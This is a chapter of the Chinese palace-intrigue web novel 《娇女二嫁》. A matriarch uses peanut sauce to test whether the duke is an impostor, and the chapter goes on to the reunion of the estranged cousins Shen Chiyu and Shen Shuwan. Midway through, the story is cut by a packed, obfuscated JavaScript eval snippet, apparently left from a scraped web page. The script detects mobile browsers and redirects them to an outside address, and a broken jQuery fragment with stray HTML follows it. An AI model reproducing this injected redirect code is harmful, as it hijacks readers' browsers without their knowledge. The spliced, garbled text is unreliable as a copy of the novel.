130. 花生
作品:《娇女二嫁》 众人落座,丫鬟们鱼贯而入,一道道精致的菜肴摆上了桌。屋内弥漫着淡淡的香气,烛火摇曳,映照着每个人的面庞。
老太君身着青哆罗呢对襟褂子,头发梳得一丝不苟,虽已年迈,但眼神中仍透露出威严与睿智。她看着镇国公,微微露出一丝笑容,然而那笑容中却藏着一丝不易察觉的疑虑。
“动筷子吧。”老太君亲自夹了两筷子菜放到国公爷碗中,笑道:“这几日让你们担心了。”
镇国公搁下筷子张口欲言,却被老太君眼神制止了。
他抿了抿唇,重又拿起筷子吃饭,夹起方才老太太放入碗中的烧排骨咬了一口,他咀嚼的动作顿了顿。
眼角余光瞧见老太君悄然投来的目光不由垂下眉眼,继续咀嚼。
老太君的眼神紧紧盯着国公爷,不放过他脸上任何一丝表情变化。“今日这菜色可还合胃口?”老太君缓缓开口,声音沉稳却带着一丝试探。
国公爷放下筷子,微笑着回答:“母亲安排的菜肴自然是极好的。”他的笑容看似自然,却藏着一丝紧张。
国公夫人轻轻皱了皱眉,欲言又止。她看了看老太君,又看了看国公爷,心中满是忧虑。
老太君沉默片刻,又问道:“你尝尝这鸡丝,味道也不错。”
国公爷心中一紧,面上却依旧平静,夹了一筷子鸡丝,慢慢咀嚼。
老太君微微眯起眼睛,心中的疑虑更甚。她看着国公爷,仿佛要从他的脸上看出一丝破绽。
敏锐的国公夫人觉察出异样的神色,忍不住开口道:“母亲,今日的饭菜似乎与往日不同。”
老太君微微一怔,随即说道:“不过是新换了个厨子,想让你们尝尝鲜。”
镇国公也跟着笑道:“难怪今日的饭菜尝着与往日有些不同。”
此时,一阵微风拂过,吹得烛火摇曳。松鹤院内的气氛愈发紧张,每个人都各怀心事,仿佛一场暴风雨即将来临。
夜阑人静,窗外月明星稀,老太太却了无睡意,她不安地在屋内走来走去,直到屋外传来一阵急促的脚步声,她快步走到门前,就听李嬷嬷气喘吁吁道:“不好了,国公爷身上长满了红疹……”
李嬷嬷满脸的担忧,谁知老太君却松了一口气,道:“谢天谢地。”
疑心自己听错的李嬷嬷,诧异道:“您说什么?”
老太太回过神来,这次是真的担忧,急声道:“快去请大夫。”
没过几日,老太君又去了冷宫,见到程氏劈头盖脸一顿骂,“那沈氏分明就是拿你当枪使,倘使我们信了她的话,国公府必定分崩离析。”
老太君将自己在府中用花生酱试探国公爷之事尽数说给了程氏听。
程谨川打小花生过敏,是以府上的饭菜那是小心又小心,万不可掺杂一丝花生成分,前日的神仙鸡和烧排骨中都用了花生酱,她亲眼看着镇国公吃下去,倘若他是假的,吃后必然全无反应,可当夜国公爷浑身长满了红疹,分明就是花生过敏的症状。
程氏病得厉害,听了老太君的话并无多大反应,眼底涌起许多复杂的情绪,半晌才喃喃道:“是吗?可我真的很想念小时候的兄长,也许等我死了就能见到他了……”
这些日子她浑浑噩噩地睡着,总是能想起来少年时的一些事情。
她想她也许很快就能见到他们了。
老太君瞧着女儿的样子有些心疼,用力握了握她的手,道:“你要撑住,咱们国公府的好日子还长着呢。”
泪水滑过她的脸颊,程氏虚弱地笑了笑:“母亲,你要保重。”
老太君离开不久,冷宫里走出一个面容枯槁的老嬷嬷,她悄然来到承乾殿将屋内发生一切尽数禀告给了晴雪。
得到消息的沈持玉丝毫不觉得意外,以镇国公的城府岂会看不透其中的猫腻,他只需要抹一些漆树的汁液就会全身起红疹,想要瞒过老太君太过容易。
不过沈持玉也并不指望自己简简单单几句话就撼动国公爷的位置,不过是在程家人的心里埋下一颗种子罢了,只待她生根发芽,早晚会有反噬的那日。
再过两日就是中秋节了,皇宫上下都在布置彩灯,宫廷中处处张灯结彩,各种造型精美、色彩斑斓的彩灯高悬。有巨大的鳌山灯、七龙五凤、芙蓉牡丹、白玉灯……灯上装饰着各种人物、花鸟等图案,栩栩如生。
除了之类的彩灯之外,最吸引人目光的要数女子头上的应节头饰。
早些天内务府便送来小巧的灯笼样式的步摇发簪,饰以蝴蝶、鸣蝉、飞鸟、梅花、柳条,瞧着很是玲珑可爱。
陈夫人来宫中请安时,她便送了陈夫人一些。
“多谢娘娘赏赐,妾身家那几个丫头看到这些不定如何喜欢呢。”
陈夫人拿起其中的一支芙蓉簪,像是忽然想起什么,笑道:“妾身入宫的路上碰到一个卖花的小贩,竟见到一支并蒂莲,于是便买了下来,如若娘娘不嫌弃,妾身便借花献佛送给娘娘。”
并蒂莲并不常见,又怎会被一个寻常小贩拿到街上卖。
待宫娥将并蒂莲送上,沈持玉笑着收下了。
送走了陈夫人,晴雪看着沈持玉手上的并蒂莲,有些迟疑道:“娘娘,陈夫人这是何意?”
纤长的指甲嵌入莲花细嫩的茎秆,她的眸中闪过复杂的情绪,仿佛在极力压抑着什么,半晌才喃喃道:“你忘了吗,从前二妹妹家中莲池里便有这么一株并蒂莲。”
晴雪愣了愣,好一会儿才想起来娘娘口中的‘二妹’是谁。
前五城兵马指挥刘令军的夫人沈纾晚。
这个刻意被她遗忘的名字,终究还是生生撕裂在她的心上。
陈夫人为何要拿出并蒂莲,又为何刻意说是在来宫中的路上从小贩手中买来。
一年前的宫变前夕,晋王借太后的旨意接她入宫,在路上她便是遇到了一个卖花的小贩提醒她宫中有变,那张字条上的字迹她再熟悉不过。
正是沈纾晚所书。
晋王落败,依附晋王的武安侯府满门抄斩,而刘令军在沈鹏举被抓后暗中投靠了武安侯,也因此卷入了晋王谋逆案。
令人称奇的是所有涉案官员都被抄家流放,唯有刘令军只是被罢了官职遣回家中。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190840|158329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
此次之后沈持玉再未关注过刘家,她身边的宫娥也都清楚,沈纾晚是她心底的刺,更不敢在她面前提及。
陈夫人委婉地暗示不知出于何意。
“她……她如何了?”沈持玉终究还是问出了口。
未等晴雪打听消息回来,银妆嬷嬷快步走入殿内,福了福身道:“奴婢方才送陈夫人出宫,她临行前给奴婢留了一句话。”
“什么话?”
银妆道:“她说‘此生夙愿重相见,了却前尘,心之所向,念念未休。’”
她与沈纾晚打小一起长大,不仅仅是血缘羁绊的姐妹,更是无话不谈的闺中密友,她曾经以为她们会相携至白首,却不料人情翻覆似波澜,背叛永远是你最相信的人给的。
沈家二房皆得了报应,她唯独放过了沈纾晚。
可她心底又何尝不知,刘家上下因沈家二房之事记恨她,她在刘家的日子并不好过。
许是这些年身边的亲人一个个都离去,又许是中秋将近的缘故,她终究还是点头应下了。
沈纾晚入宫的这天,天气格外的好,霞光把半边天的云翳涂抹得热烈而精彩,将她鬓边的一缕银丝也染上了绯色。
不过是两年未见,她竟这般苍老,活不像个二十出头的年轻姑娘。
沈持玉忽然觉得心底酸涩得厉害,她开口说话才发现嗓音竟有些沙哑,“晚晚……”
“民妇参见娘娘,娘娘万福金安。”沈纾晚跪地恭敬地朝她叩头,声音同样颤抖。
沈持玉问起她的近况,她恭敬又疏离地答道:“民妇一切都好。”
可昨日夜里梅蕊已告诉了她实情,自沈鹏举死后,沈纾晚便在府中受到冷落,刘令军不再像以往那样尊重她,刘母更是剥夺了她的掌家权,自作主张为刘令军又纳了几房小妾。
在小妾生下一个康健的男童之后,沈纾晚和两个孩子更是被赶到刘府偏僻的院子里,两个孩子日常花销被克扣,小女儿不过两岁,瘦得吓人。
刘令军丢了官位之后,到时有一段日子对着沈纾晚献殷勤,希望能借助沈持玉的力量起复,可惜沈纾晚一根筋死活不愿意入宫替他求情,自那之后刘令军便开始酗酒,对沈纾晚及两个孩子动辄打骂,日子过得甚至不如从前清苦之时。
或许是报应吧。
不知为何沈持玉觉得往日空阔的承乾殿竟有些难以言喻的压抑逼仄,她站起身对身旁的晴雪道:“今日天气好,咱们去外头走走。”
沈纾晚像个牵线木偶般亦步亦趋地跟在沈持玉身后,听她和晴雪絮絮叨叨说着话。
多半是晴雪和红豆在旁说,沈持玉偶尔搭个腔,即便迟钝如丁香也觉察出周遭的气氛有些不太寻常。
园子里内侍还在装点亭台,悬挂玉栅,搭建灯笼架子,尤其那盏鳌山灯,为诸灯之冠,高五丈许,人物皆用机关活动,结大彩楼贮之。
此刻一行人站在不远处望着即将完成的鳌山灯,沈持玉忽然开口道:“还记得那盏兔子灯吗?”
晴雪等人都闭了嘴,偷眼瞄向落在后面的沈纾晚。
怎会不记得。